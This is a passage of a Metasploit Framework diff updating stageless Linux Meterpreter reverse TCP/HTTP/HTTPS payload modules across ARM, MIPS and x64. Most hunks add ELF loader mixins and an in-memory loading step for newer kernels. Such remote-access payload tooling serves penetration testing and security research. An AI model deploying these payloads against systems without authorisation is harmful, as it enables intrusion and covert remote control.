scheme: 'https', stageless: true }.merge(mettle_logging_config) - MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config(opts)).to_binary :exec + payload = MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config(opts)).to_binary :exec + payload end end diff --git a/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb index 0631a1ea454b3..3ff4b159260c4 100644 --- a/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb @@ -3,6 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## + # Module generated by tools/modules/generate_mettle_payloads.rb module MetasploitModule CachedSize = 1106544 @@ -10,23 +11,24 @@ module MetasploitModule include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions::Linux include Msf::Sessions::MettleConfig + include Msf::Payload::Linux::Armbe::Prepends def initialize(info = {}) super( update_info( info, - 'Name' => 'Linux Meterpreter, Reverse TCP Inline', - 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', - 'Author' => [ + 'Name' => 'Linux Meterpreter, Reverse TCP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ 'Adam Cammack ', 'Brent Cook ', 'timwr' ], - 'Platform' => 'linux', - 'Arch' => ARCH_ARMBE, - 'License' => MSF_LICENSE, - 'Handler' => Msf::Handler::ReverseTcp, - 'Session' => Msf::Sessions::Meterpreter_armbe_Linux + 'Platform' => 'linux', + 'Arch' => ARCH_ARMBE, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::Meterpreter_armbe_Linux ) ) end @@ -36,6 +38,7 @@ def generate(_opts = {}) scheme: 'tcp', stageless: true }.merge(mettle_logging_config) - MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config(opts)).to_binary :exec + payload = MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config(opts)).to_binary :exec + payload end end diff --git a/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb index f3c9774bedc4c..7a0ea250bd4c9 100644 --- a/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb @@ -3,30 +3,34 @@ # Current source: https://github.com/rapid7/metasploit-framework ## + # Module generated by tools/modules/generate_mettle_payloads.rb module MetasploitModule + CachedSize = 1106844 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions::Linux include Msf::Sessions::MettleConfig + include Msf::Payload::Linux::Armle::ElfLoader + include Msf::Payload::Linux::Armle::Prepends def initialize(info = {}) super( update_info( info, - 'Name' => 'Linux Meterpreter, Reverse HTTP Inline', - 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', - 'Author' => [ + 'Name' => 'Linux Meterpreter, Reverse HTTP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ 'Adam Cammack ', 'Brent Cook ', 'timwr' ], - 'Platform' => 'linux', - 'Arch' => ARCH_ARMLE, - 'License' => MSF_LICENSE, - 'Handler' => Msf::Handler::ReverseHttp, - 'Session' => Msf::Sessions::Meterpreter_armle_Linux + 'Platform' => 'linux', + 'Arch' => ARCH_ARMLE, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttp, + 'Session' => Msf::Sessions::Meterpreter_armle_Linux ) ) end @@ -36,6 +40,11 @@ def generate(_opts = {}) scheme: 'http', stageless: true }.merge(mettle_logging_config) - MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config(opts)).to_binary :exec + payload = MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config(opts)).to_binary :exec + ds = opts[:datastore] || datastore + if Rex::Version.new(ds['PayloadLinuxMinKernel']) < Rex::Version.new('3.17') + return payload + end + in_memory_load(payload) + payload end end diff --git a/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb index 1af2703707a7a..3ed27e7077139 100644 --- a/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb @@ -3,30 +3,34 @@ # Current source: https://github.com/rapid7/metasploit-framework ## + # Module generated by tools/modules/generate_mettle_payloads.rb module MetasploitModule + CachedSize = 1106844 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions::Linux include Msf::Sessions::MettleConfig + include Msf::Payload::Linux::Armle::ElfLoader + include Msf::Payload::Linux::Armle::Prepends def initialize(info = {}) super( update_info( info, - 'Name' => 'Linux Meterpreter, Reverse HTTPS Inline', - 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', - 'Author' => [ + 'Name' => 'Linux Meterpreter, Reverse HTTPS Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ 'Adam Cammack ', 'Brent Cook ', 'timwr' ], - 'Platform' => 'linux', - 'Arch' => ARCH_ARMLE, - 'License' => MSF_LICENSE, - 'Handler' => Msf::Handler::ReverseHttps, - 'Session' => Msf::Sessions::Meterpreter_armle_Linux + 'Platform' => 'linux', + 'Arch' => ARCH_ARMLE, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttps, + 'Session' => Msf::Sessions::Meterpreter_armle_Linux ) ) end @@ -36,6 +40,11 @@ def generate(_opts = {}) scheme: 'https', stageless: true }.merge(mettle_logging_config) - MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config(opts)).to_binary :exec + payload = MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config(opts)).to_binary :exec + ds = opts[:datastore] || datastore + if Rex::Version.new(ds['PayloadLinuxMinKernel']) < Rex::Version.new('3.17') + return payload + end + in_memory_load(payload) + payload end end diff --git a/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb index 0166ca2b4c5ed..baaa548137654 100644 --- a/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb @@ -3,30 +3,34 @@ # Current source: https://github.com/rapid7/metasploit-framework ## + # Module generated by tools/modules/generate_mettle_payloads.rb module MetasploitModule + CachedSize = 1106844 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions::Linux include Msf::Sessions::MettleConfig + include Msf::Payload::Linux::Armle::ElfLoader + include Msf::Payload::Linux::Armle::Prepends def initialize(info = {}) super( update_info( info, - 'Name' => 'Linux Meterpreter, Reverse TCP Inline', - 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', - 'Author' => [ + 'Name' => 'Linux Meterpreter, Reverse TCP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ 'Adam Cammack ', 'Brent Cook ', 'timwr' ], - 'Platform' => 'linux', - 'Arch' => ARCH_ARMLE, - 'License' => MSF_LICENSE, - 'Handler' => Msf::Handler::ReverseTcp, - 'Session' => Msf::Sessions::Meterpreter_armle_Linux + 'Platform' => 'linux', + 'Arch' => ARCH_ARMLE, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::Meterpreter_armle_Linux ) ) end @@ -36,6 +40,11 @@ def generate(_opts = {}) scheme: 'tcp', stageless: true }.merge(mettle_logging_config) - MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config(opts)).to_binary :exec + payload = MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config(opts)).to_binary :exec + ds = opts[:datastore] || datastore + if Rex::Version.new(ds['PayloadLinuxMinKernel']) < Rex::Version.new('3.17') + return payload + end + in_memory_load(payload) + payload end end diff --git a/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb index 39740373e3325..58ed64936b556 100644 --- a/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb @@ -3,30 +3,34 @@ # Current source: https://github.com/rapid7/metasploit-framework ## + # Module generated by tools/modules/generate_mettle_payloads.rb module MetasploitModule + CachedSize = 1685392 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions::Linux include Msf::Sessions::MettleConfig + include Msf::Payload::Linux::Mips64::ElfLoader + include Msf::Payload::Linux::Mips64::Prepends def initialize(info = {}) super( update_info( info, - 'Name' => 'Linux Meterpreter, Reverse HTTP Inline', - 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', - 'Author' => [ + 'Name' => 'Linux Meterpreter, Reverse HTTP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ 'Adam Cammack ', 'Brent Cook ', 'timwr' ], - 'Platform' => 'linux', - 'Arch' => ARCH_MIPS64, - 'License' => MSF_LICENSE, - 'Handler' => Msf::Handler::ReverseHttp, - 'Session' => Msf::Sessions::Meterpreter_mips64_Linux + 'Platform' => 'linux', + 'Arch' => ARCH_MIPS64, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttp, + 'Session' => Msf::Sessions::Meterpreter_mips64_Linux ) ) end @@ -36,6 +40,11 @@ def generate(_opts = {}) scheme: 'http', stageless: true }.merge(mettle_logging_config) - MetasploitPayloads::Mettle.new('mips64-linux-muslsf', generate_config(opts)).to_binary :exec + payload = MetasploitPayloads::Mettle.new('mips64-linux-muslsf', generate_config(opts)).to_binary :exec + ds = opts[:datastore] || datastore + if Rex::Version.new(ds['PayloadLinuxMinKernel']) < Rex::Version.new('3.17') + return payload + end + in_memory_load(payload) + payload end end diff --git a/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb index 43d965b7abd20..8c6db900b2ef6 100644 --- a/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb @@ -3,30 +3,34 @@ # Current source: https://github.com/rapid7/metasploit-framework ## + # Module generated by tools/modules/generate_mettle_payloads.rb module MetasploitModule + CachedSize = 1685392 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions::Linux include Msf::Sessions::MettleConfig + include Msf::Payload::Linux::Mips64::ElfLoader + include Msf::Payload::Linux::Mips64::Prepends def initialize(info = {}) super( update_info( info, - 'Name' => 'Linux Meterpreter, Reverse HTTPS Inline', - 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', - 'Author' => [ + 'Name' => 'Linux Meterpreter, Reverse HTTPS Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ 'Adam Cammack ', 'Brent Cook ', 'timwr' ], - 'Platform' => 'linux', - 'Arch' => ARCH_MIPS64, - 'License' => MSF_LICENSE, - 'Handler' => Msf::Handler::ReverseHttps, - 'Session' => Msf::Sessions::Meterpreter_mips64_Linux + 'Platform' => 'linux', + 'Arch' => ARCH_MIPS64, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttps, + 'Session' => Msf::Sessions::Meterpreter_mips64_Linux ) ) end @@ -36,6 +40,11 @@ def generate(_opts = {}) scheme: 'https', stageless: true }.merge(mettle_logging_config) - MetasploitPayloads::Mettle.new('mips64-linux-muslsf', generate_config(opts)).to_binary :exec + payload = MetasploitPayloads::Mettle.new('mips64-linux-muslsf', generate_config(opts)).to_binary :exec + ds = opts[:datastore] || datastore + if Rex::Version.new(ds['PayloadLinuxMinKernel']) < Rex::Version.new('3.17') + return payload + end + in_memory_load(payload) + payload end end diff --git a/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb index fcc0d9f8425e7..c597f5fa924a0 100644 --- a/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb @@ -3,30 +3,34 @@ # Current source: https://github.com/rapid7/metasploit-framework ## + # Module generated by tools/modules/generate_mettle_payloads.rb module MetasploitModule + CachedSize = 1685392 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions::Linux include Msf::Sessions::MettleConfig + include Msf::Payload::Linux::Mips64::ElfLoader + include Msf::Payload::Linux::Mips64::Prepends def initialize(info = {}) super( update_info( info, - 'Name' => 'Linux Meterpreter, Reverse TCP Inline', - 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', - 'Author' => [ + 'Name' => 'Linux Meterpreter, Reverse TCP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ 'Adam Cammack ', 'Brent Cook ', 'timwr' ], - 'Platform' => 'linux', - 'Arch' => ARCH_MIPS64, - 'License' => MSF_LICENSE, - 'Handler' => Msf::Handler::ReverseTcp, - 'Session' => Msf::Sessions::Meterpreter_mips64_Linux + 'Platform' => 'linux', + 'Arch' => ARCH_MIPS64, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::Meterpreter_mips64_Linux ) ) end @@ -36,6 +40,11 @@ def generate(_opts = {}) scheme: 'tcp', stageless: true }.merge(mettle_logging_config) - MetasploitPayloads::Mettle.new('mips64-linux-muslsf', generate_config(opts)).to_binary :exec + payload = MetasploitPayloads::Mettle.new('mips64-linux-muslsf', generate_config(opts)).to_binary :exec + ds = opts[:datastore] || datastore + if Rex::Version.new(ds['PayloadLinuxMinKernel']) < Rex::Version.new('3.17') + return payload + end + in_memory_load(payload) + payload end end diff --git a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb index 4a5871ae8b92d..8ed51724b307a 100644 --- a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb @@ -3,30 +3,34 @@ # Current source: https://github.com/rapid7/metasploit-framework ## + # Module generated by tools/modules/generate_mettle_payloads.rb module MetasploitModule + CachedSize = 1583440 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions::Linux include Msf::Sessions::MettleConfig + include Msf::Payload::Linux::Mipsbe::ElfLoader + include Msf::Payload::Linux::Mipsbe::Prepends def initialize(info = {}) super( update_info( info, - 'Name' => 'Linux Meterpreter, Reverse HTTP Inline', - 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', - 'Author' => [ + 'Name' => 'Linux Meterpreter, Reverse HTTP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ 'Adam Cammack ', 'Brent Cook ', 'timwr' ], - 'Platform' => 'linux', - 'Arch' => ARCH_MIPSBE, - 'License' => MSF_LICENSE, - 'Handler' => Msf::Handler::ReverseHttp, - 'Session' => Msf::Sessions::Meterpreter_mipsbe_Linux + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSBE, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttp, + 'Session' => Msf::Sessions::Meterpreter_mipsbe_Linux ) ) end @@ -36,6 +40,11 @@ def generate(_opts = {}) scheme: 'http', stageless: true }.merge(mettle_logging_config) - MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config(opts)).to_binary :exec + payload = MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config(opts)).to_binary :exec + ds = opts[:datastore] || datastore + if Rex::Version.new(ds['PayloadLinuxMinKernel']) < Rex::Version.new('3.17') + return payload + end + in_memory_load(payload) + payload end end diff --git a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb index 7b9a4f340fd3e..fa573a232e775 100644 --- a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb @@ -3,30 +3,34 @@ # Current source: https://github.com/rapid7/metasploit-framework ## + # Module generated by tools/modules/generate_mettle_payloads.rb module MetasploitModule + CachedSize = 1583440 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions::Linux include Msf::Sessions::MettleConfig + include Msf::Payload::Linux::Mipsbe::ElfLoader + include Msf::Payload::Linux::Mipsbe::Prepends def initialize(info = {}) super( update_info( info, - 'Name' => 'Linux Meterpreter, Reverse HTTPS Inline', - 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', - 'Author' => [ + 'Name' => 'Linux Meterpreter, Reverse HTTPS Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ 'Adam Cammack ', 'Brent Cook ', 'timwr' ], - 'Platform' => 'linux', - 'Arch' => ARCH_MIPSBE, - 'License' => MSF_LICENSE, - 'Handler' => Msf::Handler::ReverseHttps, - 'Session' => Msf::Sessions::Meterpreter_mipsbe_Linux + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSBE, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttps, + 'Session' => Msf::Sessions::Meterpreter_mipsbe_Linux ) ) end @@ -36,6 +40,11 @@ def generate(_opts = {}) scheme: 'https', stageless: true }.merge(mettle_logging_config) - MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config(opts)).to_binary :exec + payload = MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config(opts)).to_binary :exec + ds = opts[:datastore] || datastore + if Rex::Version.new(ds['PayloadLinuxMinKernel']) < Rex::Version.new('3.17') + return payload + end + in_memory_load(payload) + payload end end diff --git a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb index f20fcb4067e0b..0579b5cae573c 100644 --- a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb @@ -3,30 +3,34 @@ # Current source: https://github.com/rapid7/metasploit-framework ## + # Module generated by tools/modules/generate_mettle_payloads.rb module MetasploitModule + CachedSize = 1583440 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions::Linux include Msf::Sessions::MettleConfig + include Msf::Payload::Linux::Mipsbe::ElfLoader + include Msf::Payload::Linux::Mipsbe::Prepends def initialize(info = {}) super( update_info( info, - 'Name' => 'Linux Meterpreter, Reverse TCP Inline', - 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', - 'Author' => [ + 'Name' => 'Linux Meterpreter, Reverse TCP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ 'Adam Cammack ', 'Brent Cook ', 'timwr' ], - 'Platform' => 'linux', - 'Arch' => ARCH_MIPSBE, - 'License' => MSF_LICENSE, - 'Handler' => Msf::Handler::ReverseTcp, - 'Session' => Msf::Sessions::Meterpreter_mipsbe_Linux + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSBE, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::Meterpreter_mipsbe_Linux ) ) end @@ -36,6 +40,11 @@ def generate(_opts = {}) scheme: 'tcp', stageless: true }.merge(mettle_logging_config) - MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config(opts)).to_binary :exec + payload = MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config(opts)).to_binary :exec + ds = opts[:datastore] || datastore + if Rex::Version.new(ds['PayloadLinuxMinKernel']) < Rex::Version.new('3.17') + return payload + end + in_memory_load(payload) + payload end end diff --git a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb index be0d4e92e9eb1..6ab5f15eaf8ec 100644 --- a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb @@ -3,30 +3,34 @@ # Current source: https://github.com/rapid7/metasploit-framework ## + # Module generated by tools/modules/generate_mettle_payloads.rb module MetasploitModule + CachedSize = 1588440 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions::Linux include Msf::Sessions::MettleConfig + include Msf::Payload::Linux::Mipsle::ElfLoader + include Msf::Payload::Linux::Mipsle::Prepends def initialize(info = {}) super( update_info( info, - 'Name' => 'Linux Meterpreter, Reverse HTTP Inline', - 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', - 'Author' => [ + 'Name' => 'Linux Meterpreter, Reverse HTTP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ 'Adam Cammack ', 'Brent Cook ', 'timwr' ], - 'Platform' => 'linux', - 'Arch' => ARCH_MIPSLE, - 'License' => MSF_LICENSE, - 'Handler' => Msf::Handler::ReverseHttp, - 'Session' => Msf::Sessions::Meterpreter_mipsle_Linux + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSLE, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttp, + 'Session' => Msf::Sessions::Meterpreter_mipsle_Linux ) ) end @@ -36,6 +40,11 @@ def generate(_opts = {}) scheme: 'http', stageless: true }.merge(mettle_logging_config) - MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config(opts)).to_binary :exec + payload = MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config(opts)).to_binary :exec + ds = opts[:datastore] || datastore + if Rex::Version.new(ds['PayloadLinuxMinKernel']) < Rex::Version.new('3.17') + return payload + end + in_memory_load(payload) + payload end end diff --git a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb index a8252807703ab..c073a8f6e4806 100644 --- a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb @@ -3,30 +3,34 @@ # Current source: https://github.com/rapid7/metasploit-framework ## + # Module generated by tools/modules/generate_mettle_payloads.rb module MetasploitModule + CachedSize = 1588440 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions::Linux include Msf::Sessions::MettleConfig + include Msf::Payload::Linux::Mipsle::ElfLoader + include Msf::Payload::Linux::Mipsle::Prepends def initialize(info = {}) super( update_info( info, - 'Name' => 'Linux Meterpreter, Reverse HTTPS Inline', - 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', - 'Author' => [ + 'Name' => 'Linux Meterpreter, Reverse HTTPS Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ 'Adam Cammack ', 'Brent Cook ', 'timwr' ], - 'Platform' => 'linux', - 'Arch' => ARCH_MIPSLE, - 'License' => MSF_LICENSE, - 'Handler' => Msf::Handler::ReverseHttps, - 'Session' => Msf::Sessions::Meterpreter_mipsle_Linux + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSLE, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttps, + 'Session' => Msf::Sessions::Meterpreter_mipsle_Linux ) ) end @@ -36,6 +40,11 @@ def generate(_opts = {}) scheme: 'https', stageless: true }.merge(mettle_logging_config) - MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config(opts)).to_binary :exec + payload = MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config(opts)).to_binary :exec + ds = opts[:datastore] || datastore + if Rex::Version.new(ds['PayloadLinuxMinKernel']) < Rex::Version.new('3.17') + return payload + end + in_memory_load(payload) + payload end end diff --git a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb index c1ea18a9ee9fb..09b5bb6a58c13 100644 --- a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb @@ -3,30 +3,34 @@ # Current source: https://github.com/rapid7/metasploit-framework ## + # Module generated by tools/modules/generate_mettle_payloads.rb module MetasploitModule + CachedSize = 1588440 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions::Linux include Msf::Sessions::MettleConfig + include Msf::Payload::Linux::Mipsle::ElfLoader + include Msf::Payload::Linux::Mipsle::Prepends def initialize(info = {}) super( update_info( info, - 'Name' => 'Linux Meterpreter, Reverse TCP Inline', - 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', - 'Author' => [ + 'Name' => 'Linux Meterpreter, Reverse TCP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ 'Adam Cammack ', 'Brent Cook ', 'timwr' ], - 'Platform' => 'linux', - 'Arch' => ARCH_MIPSLE, - 'License' => MSF_LICENSE, - 'Handler' => Msf::Handler::ReverseTcp, - 'Session' => Msf::Sessions::Meterpreter_mipsle_Linux + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSLE, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::Meterpreter_mipsle_Linux ) ) end @@ -36,6 +40,11 @@ def generate(_opts = {}) scheme: 'tcp', stageless: true }.merge(mettle_logging_config) - MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config(opts)).to_binary :exec + payload = MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config(opts)).to_binary :exec + ds = opts[:datastore] || datastore + if Rex::Version.new(ds['PayloadLinuxMinKernel']) < Rex::Version.new('3.17') + return payload + end + in_memory_load(payload) + payload end end diff --git a/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb index 0f13084748882..e604c7ade79ad 100644 --- a/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb @@ -3,30 +3,34 @@ # Current source: https://github.com/rapid7/metasploit-framework ## + # Module generated by tools/modules/generate_mettle_payloads.rb module MetasploitModule + CachedSize = 1121480 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions::Linux include Msf::Sessions::MettleConfig + include Msf::Payload::Linux::X64::ElfLoader + include Msf::Payload::Linux::X64::Prepends def initialize(info = {}) super( update_info( info, - 'Name' => 'Linux Meterpreter, Reverse HTTP Inline', - 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', - 'Author' => [ + 'Name' => 'Linux Meterpreter, Reverse HTTP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ 'Adam Cammack ', 'Brent Cook ', 'timwr' ], - 'Platform' => 'linux', - 'Arch' => ARCH_X64, - 'License' => MSF_LICENSE, - 'Handler' => Msf::Handler::ReverseHttp, - 'Session' => Msf::Sessions::Meterpreter_x64_Linux + 'Platform' => 'linux', + 'Arch' => ARCH_X64, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttp, + 'Session' => Msf::Sessions::Meterpreter_x64_Linux ) ) end @@ -36,6 +40,11 @@ def generate(_opts = {}) scheme: 'http', stageless: true }.merge(mettle_logging_config) - MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config(opts)).to_binary :exec + payload = MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config(opts)).to_binary :exec + ds = opts[:datastore] || datastore + if Rex::Version.new(ds['PayloadLinuxMinKernel']) < Rex::Version.new('3.17') + return payload + end + in_memory_load(payload) + payload end end diff --git a/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb index 092137b4e3e55..cf178c16322ea 100644 --- a/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb @@ -3,30 +3,34 @@ # Current source: https://github.com/rapid7/metasploit-framework ## + # Module generated by tools/modules/generate_mettle_payloads.rb module MetasploitModule + CachedSize = 1121480 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions::Linux include Msf::Sessions::MettleConfig + include Msf::Payload::Linux::X64::ElfLoader + include Msf::Payload::Linux::X64::Prepends def initialize(info = {}) super( update_info( info, - 'Name' => 'Linux Meterpreter, Reverse HTTPS Inline', - 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', - 'Author' => [ + 'Name' => 'Linux Meterpreter, Reverse HTTPS Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ 'Adam Cammack ', 'Brent Cook ', 'timwr' ], - 'Platform' => 'linux', - 'Arch' => ARCH_X64, - 'License' => MSF_LICENSE, - 'Handler' => Msf::Handler::ReverseHttps, - 'Session' => Msf::Sessions::Meterpreter_x64_Linux + 'Platform' => 'linux', + 'Arch' => ARCH_X64, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttps, + 'Session' => Msf::Sessions::Meterpreter_x64_Linux ) ) end @@ -36,6 +40,11 @@ def generate(_opts = {}) scheme: 'https', stageless: true }.merge(mettle_logging_config) - MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config(opts)).to_binary :exec + payload = MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config(opts)).to_binary :exec + ds = opts[:datastore] || datastore + if Rex::Version.new(ds['PayloadLinuxMinKernel']) < Rex::Version.new('3.17') + return payload + end + in_memory_load(payload) + payload end end diff --git a/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb index a9cff770eef55..b62b8e9d6f5a6 100644 --- a/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb +++ 